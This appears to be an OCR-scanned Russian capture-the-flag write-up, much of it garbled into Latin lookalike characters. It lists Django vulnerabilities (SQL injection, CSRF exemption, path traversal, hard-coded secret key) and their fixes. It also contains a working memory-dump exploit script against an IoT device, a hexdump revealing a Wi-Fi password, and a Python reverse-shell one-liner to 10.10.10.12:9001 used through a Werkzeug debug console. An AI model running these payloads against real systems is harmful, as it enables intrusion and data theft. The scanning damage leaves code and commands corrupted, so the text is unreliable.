3n0yMbILNEHHNK BbINOMHAET ataky nogoopa naponei (brute-force attack).



MapameTpbl 6n0knpoBkn nonb3osatenen (MAX _LOGIN_ATTEMPTS =
10000000000000000000, BLOCK_TIME_MINUTES = 0) genatoT 3awuTy hakTnieckn
6ecnonesHon.

domkc:
MAX_LOGIN_ATTEMPTS =5

BLOCK_TIME_MINUTES = 15
/auth/migrations/env.py
/app/diary/settings.py

Pexxum DEBUG BksitoueH (DEBUG = True)
310yMbILLINEHHNK MOXET BbI3BaTb OLUMOKY U NOAYYNTb AOCTYN K BHYTPEHHEN
NMHpopmauuu, 4To yrnpowaeTt AasibHelLne ataku.

doukc:

oTKMo4unNTL debug

CekpeTHblli Kntod DjangosiBNsieTc KOHCTaHTOM. Kntoy ncnonb3syercs Ans WwngpoBaHns
ceccuid, reHepaLmmn TOKEHOB 1 apyrnx security-related pyHKUMiA.

SECRET KEY = "Abgh4LSVdohqgrlhtalvifAmEsymAvY9p"
dukc:

import os

from secrets import token hex

SECRET KEY = os.getenv("SECRET KEY", token hex(32))

OtcytctBMe HTTPS
BekTop ataku:
** MOXeT npmseecTu K atakam MITM.

doukc:

uvicorn.run(app, host={ipadr}, port=8000, ssl keyfile={key},
ssl certfile="{cert})

lapp/diary/urls.py

HeT orpaHnyeHuin Ha YacToTy 3anpocoB K APl/coopmam (Hanpumep, login/), uto
ynpouiaet 6pyTtdopc.

lapp/mysite/views.py

SQL-nHbEeKuumn
user_login: Ceipoit SQL-3anpoc ¢ BCTaBkoW username u password.
mark_add_view: SQL-uHbekyusi 8 INSERT 4epe3 napamempsl student_login,



mark_value, date.
search: Cblpoit 3anpoc ¢ LIKE ‘{query}.
BekTop ataku:

3N10YMbILLNEHHUK MOXET BbINOMHUTL NPON3BOJIbHble SQL-3anpochkl, yKpacTb AaHHbIe,

yaanunTb Tabnuubl UAn NOAyYNTb KOHTPOb Hag BA.

domkc:

ncnosnb3zosarb ORM Django nnn napaMmeTpru3oBaHHble 3anpochl
(cursor.execute("SELECT ... WHERE login = %s", [usernamel)).

OTkntoyeHa 3awmTa ot CSRF

@csrf_exempt

Joukc:

ybpatb faHHyt CTPOKy, HacTpouTb CORS c ncnonb3osaHnem middleware.
HepocTtaTouHas nposepka npas goctyna. B profile_edit HeT npoBepkun, 4YTo
nosib30oBate/lb peaakTMpyeT CBOW Npodnb.

domkc:

python if request.method == 'POST': form = EditProfileForm(request.P0OST)
if form.is valid(): cd = form.cleaned data new username =
cd.get('username') if new username != user.login: return
HttpResponseForbidden("Henb3s U3MeHUTbL 4YyXOW NOTrUH")
lapp/mysite/migrations/0001 _initial.py

YazsumocTb B User.photo (FilePathField)

FilePathField 6e3 orpaHnyeHuii (path, match) no3BonsAeT ykasblBaTb /1106ble MYyTU HA
cepsepe.

BekTop ataku:

310yMbILLNEHHUK MOXET NONYUYUTb AOCTYN K CUCTEMHBbIM harinam (Hanpumep,
..I..letc/passwd).

domkc:
photo = models.FilePathField(path="/safe/upload/dir/", match=".*.(jpg|png)$")

Kponuuuiu ropuok 2.0

https://gwgoro.works/articles/plants-vs-bugs
Y ropLuoyka ectb anu Ha 80 NMopTy, NO3BOMAOLEE NOMYUNTL 3apsAS, ropLUKa, BIaXKHOCTb,
TemnepaTypy v npouyt nHpopmauuio o ropuke(metog GET_SNAPSHOT).

Ty e camyto MHhopMauuio MOXHO nosnyunTtb Yepes metog GET_PROPERTY, nepepas B
param nHgekc maccmea. CyTb B TOM, YUTO MOXHO 06paTuUTbCs 3a MHAEKCbl MacCuBbl U

npounTaTh NPON3BOJILHYI0 NaMATb. MNocnegoBaTeNlbHO Nepebrpast MHAEKC, NoslyyYMM gamn, B

KOTOPOM N1eXuT doiar

Exploit:

import struct
import requests


https://qwqoro.works/articles/plants-vs-bugs

start param = -2000
end param = 5000

with open("dumpy.bin", "wb") as f:
for i in range(start param, end param):
print(f"[*] Requesting {i}")
r = requests.post("http://10.10.1.172/control", json={"cmd": 1,
"param": 1i})
value = r.json()["value"]
if type(value) == int:
f.write(struct.pack("<i", value))
elif type(value) == float:
f.write(struct.pack("<f", value))
elif value is None:
f.write(struct.pack("<i", 0))
else:
print("Unknown type!", value)
f.flush()

Kycok gamna, rge nexuT naposnb oT Ban-gpan cetn ASUS-3:

000019b0 00 00 GO 00 00 00 60 00 75 75 69 64 33 36 65 63
[oonnn. uuid36ec|
000019cO0 35 64 32 31 30 62 34 38 37 65 38 39 00 00 00 00
|5d210b487e89. . . .|
000019d0 00 00 59 42 33 36 45 59 55 52 61 39 52 33 6d 6¢C
| .. YB36EYURa9R3m1 |
000019e0 64 35 6a 6e 37 58 6e 30 34 43 6a 4c 56 72 31 44
|d5jn7Xn04CjLVriD|
000019f0 51 56 61 77 31 70 32 00 00 00 00 GO 00 00 00 00
|QVawlp2......... |
00001200 00 00 GO 00 00 00 00 GO0 00 00 00 GO 00 6O 00 00

00001210 00 00 00 58 66 73 32 49 32 62 53 33 63 75 76 4b
| ... Xfs2I2bS3cuvK|
00001220 44 49 63 77 35 79 55 62 57 41 6d 73 61 36 34 74
|DIcw5yUbWAmsa64t |
00001230 49 47 6a 00 53 6d 61 72 74 4c 69 66 65 5f 49 76
| IGj.SmartLife Iv|
00001240 79 00 00 00 00 00 00 GO 0O 00 00 GO 00 6O 00 00

00001a50 00 0O 00 00 00 69 63 6Cc 31 32 33 31 35 39 00 00



oo, ic1123159. . |
00001a60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00001abd 00 00 GO 00 OG0 OO0 0O 00 0O 00 00 00 06 00 41 53
00001acd® 55 53 2d 33 00 00 00 G0 0O 00 00 GO 00 6O 00 60 |US-
00001add 00 00 GO 00 0O OO0 0O GO0 0O 00 00 GO 00 OO 00 6e

00001aed0 74 6f 7b 70 30 37 5f 77 68 34 37 35 5f 31 6e 5f
| to{p07 wh475 1n |
00001af® 75 72 5f 68 33 34 64 7d 00 00 00 GO 00 00 00 00
lur h34d}........ |
00001b00 00 00 GO 00 00 00 00 G0 00 00 00 GO 00 00 00 00

BparBparal-1

yepes NouTy B apxmBe Npp.zip

From - Tue Dec 10 18:32:05 2024
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: admin@mailservice.pma.ru
Received: from [IPv6:::ffff:127.0.0.1] (DESKTOP-5UI5AFR.domain.com
[127.0.0.1])
by DESKTOP-5UI5AFR with ESMTPA
; Fri, 22 Nov 2024 21:19:49 +0300
Message-ID: &lt;7580751D-294B-4A69-AE4B-D42123B5FC66@DESKTOP-5UI5AFR&GL;
MIME-Version: 1.0
To: "rromanov@mailservice.pma.ru"
From: admin
Subject:
=?7utf-87B70J7QsdC90L7QstC70LXQvdC40LUgOL/QsNGAOL7Qu9C10LkgOL/QvtC70Yy="=
=?utf-87B?0LTQvtCyOLDRgtC1OLVvQtdC5?=
Date: Fri, 22 Nov 2024 21:19:49 +0300
Importance: normal
X-Priority: 3
Content-Type: multipart/mixed;
boundary=" 13058A1F-367B-49C5-9E0Q7-ACB8AEE1516D "

-- 13058A1F-367B-49C5-9E07-ACB8AEE1516D



Content-Type: multipart/alternative;
boundary=" BA29F595-B28D-449D-85E7-8549EB2289F3 "

-- BA29F595-B28D-449D-85E7-8549EB2289F3
Content-Transfer-Encoding: base64
Content-Type: text/plain; charset="utf-8"

DQrQntCx0L3QvtCyOLjRgtC1INC/OLDRGNC+OLVRjCDQsiDRgdC+OL7RgtCyOLXRgtGBOYLQst
ca
0LggOYEgOL/RgNC40L rRgNC10OL/Qu9C10L3QvdC+OLkgOYLQSNCxOLVQUNGGOLXQUSANCg==

-- BA29F595-B28D-449D-85E7-8549EB2289F3
Content-Transfer-Encoding: base64
Content-Type: text/html; charset="utf-8"

PGhObWwgeGlsbnM6bz0idXJuOnNjaGVtYXMtbWljcm9zb2ZOLWNvbTpvZmZpY2U6b2ZmaWN1Ii
B4
bWxuczp3PSJ1cm46c2NoZWlhcyltaWNyb3NvZnQtY29t0mOmZmljZTp3b3JIkIiB4bWxuczptPS
Jo
dHRw0i8vc2NoZWlhcy5taWNyb3NvZnQuY29tL29mZmljZS8yMDAOLzEyYL29tbWwiIHhtbG52zPS
Jo
dHRw0i8vd3d3LnczLm9yZy9UUi9SRUMtaHRtbDQwI j48aGVhzZD48bWVOYSBodHRwLWVxdW12PU
Nv
bnR1bnQtVHIwZSBjb250ZW50PSJ0ZXhOL2hObWw7IGN0oYXJZzZXQ9dXRmLTgiPjxtZXRhIG5hbW
U9

Bpar Bparal-2

B 3arpy3kax fiexuT apxvs
B HEM caMopacnakoBbIBaloLMiics apxuB ¢ notepad.exe.
BpeaoHocHoe npunoxeHue - notepad.exe
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Do you want to automate checks?

Alicloud

Antiy-AVL

Avira (no cloud)

cMe

Cylance

Bpar Bpara2 -1

yepes /console, KOTOPbIA AOCTYMNEH, NOTOMY Y4TO Ha MMTOHOBCKOM BEG cepBepe BK/OYEH
debug, 6b11 NPOKNHYT peBepc e/ Ha NMUTOHE:

>>> import
socket,subprocess,o0s;s=socket.socket(socket.AF INET,socket.SOCK STREAM);s.
connect((&#34;10.10.10.12&#34;,9001));0s.dup2(s.fileno(),0);
0s.dup2(s.fileno(),1);o0s.dup2(s.fileno(),2);import pty;

pty.spawn (&#34;bash&#34;)

Bpar Bpara 2 - 2
OtBeT: 10.10.10.12, 81.177.221.242

10.10.10.12 - nocbinan 3anpoc Ha /console ¢ pesepc wensiom Ha 172.18.0.3

GET /console?

& debugger =yes&cmd=import%s20socket%2Csubprocess%2Cos%s3Bs%3Dsocket.socke
t(socket.AF INET%2Csocket.SOCK STREAM)%3Bs.connect((%2210.10.10.12%22%2C90
01))%3Bos.dup2(s.fileno()%2C0)%3B%200s.dup2(s.fileno()%2C1l)%3Bos.dup2(s.fi
leno()%2C2)%3Bimport%s20pty%s3B%20pty.spawn(%22bash%22)&f rm=0&s=yqqPfQiFZmXs
mnZQYMPF HTTP/1.1

Host: 10.10.10.3:5000

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86 64; rv:129.0)
Gecko/20100101 Firefox/129.0



Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.10.10.3:5000/console

Connection: keep-alive

Cookie: hide-dotfile=no;  wzd44828fdba9134e8d1a6f=1737574404|9130fd746c6b
Priority: u=0

81.177.221.242 - ¢ 3T0ro annuLLHMKa Obls1 CKayaH GUHAPHWK, Nexalmii Ha /app

Bpar Bpara2 -4

B nakete 1424 yepe3 peBepc LLe/s BbINOMHAETCA ./app
OtBer: Arrival Time: Jan 22, 2025 22:35:52.600327626 MSK
UTC Arrival Time: Jan 22, 2025 19:35:52.600327626 UTC



